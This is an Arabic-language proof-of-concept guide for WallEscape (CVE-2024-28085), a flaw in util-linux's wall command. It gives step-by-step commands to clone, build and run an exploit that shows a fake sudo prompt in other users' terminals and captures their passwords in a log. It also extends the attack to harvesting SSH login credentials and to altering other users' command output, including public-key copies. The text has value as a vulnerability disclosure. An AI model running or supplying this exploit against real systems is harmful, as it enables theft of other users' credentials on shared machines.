
ثغرة WallEscape في util-linux
لا يقوم أمر wall في util-linux بتصفية تسلسلات الهروب من وسائط سطر الأوامر. تم إدخال الكود المعرض للخطر في commit cdd3cc7fa4 (2013). كل إصدار منذ ذلك الحين معرض للخطر. يمكن العثور على تقرير كامل هنا. لقد أطلقت على هذا الخطأ اسم "WallEscape".
كان كود الاستغلال هذا ناجحًا في تسريب كلمات المرور على Ubuntu 22.04 مع التكوينات الافتراضية.
تأكد من ضبط لون الخلفية واسم المستخدم على قيم مناسبة في throw.c.
إعداد الهجوم
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
استخدمت sudo systemctl start apache2 لأنه قصير المدة دون الكثير من المخرجات. تأكد من إنهاء spy بعد تشغيل الاستغلال: pkill spy.
ثم في طرفية أخرى
sudo su
sudo systemctl start apache2
قد لا يكون من الضروري أن يستدعي الضحية su اعتمادًا على النظام، وما إذا كان الوصول محليًا أم عبر ssh.
يجب أن يتسبب هذا في ظهور موجه sudo المزيف في طرفية الضحية. نظرًا لأن العديد من الأنظمة تسرّب الأوامر غير الموجودة، فقد تظهر كلمة مرور الضحية في proc.log.
مثال على proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
لقد أساء بعض الأشخاص فهم السيناريوهات التي يمكن فيها استخدام هذا لمهاجمة مستخدم آخر. لا نحتاج إلى مهاجمة sudo، يمكننا الهجوم في أي مكان يُدخل فيه المستخدم كلمة المرور الخاصة به. على نظامي، بعد تسجيل دخول المستخدم باستخدام OpenSSH، يتم تشغيل الأمر /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.
لتسريب كلمات المرور من مستخدمي Openssh، تخيل تشغيل ما يلي:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
يمكننا بعد ذلك إرسال رسالة "كلمة المرور غير صحيحة" بعد أن يتمكن المستخدم من تسجيل الدخول بشكل صحيح عبر SSH. كانت sudo مجرد الأمر الذي اخترته للعرض التجريبي، ولكن هناك العديد من الأهداف المحتملة. ليس من الصعب تخيل مهاجم يقوم بإعداد حصّاد بيانات الاعتماد، لجمع بيانات اعتماد كل مستخدم يسجل الدخول باستخدام SSH. هذا ممكن حتى من أكثر المستخدمين غير المميزين، مثل www-data.
تمنح هذه الثغرة الأمنية أيضًا المهاجمين القدرة على تغيير مخرجات أي أمر. تخيل أننا انتظرنا تنفيذ الأمر cat ~/.ssh/id_rsa.pub. يمكن للمهاجم تغيير ما ينسخه المستخدم لمفتاحه العام. في هذا النمط من الهجوم، لا نحتاج إلى وسيلة تسريب بدائية للأوامر غير الموجودة.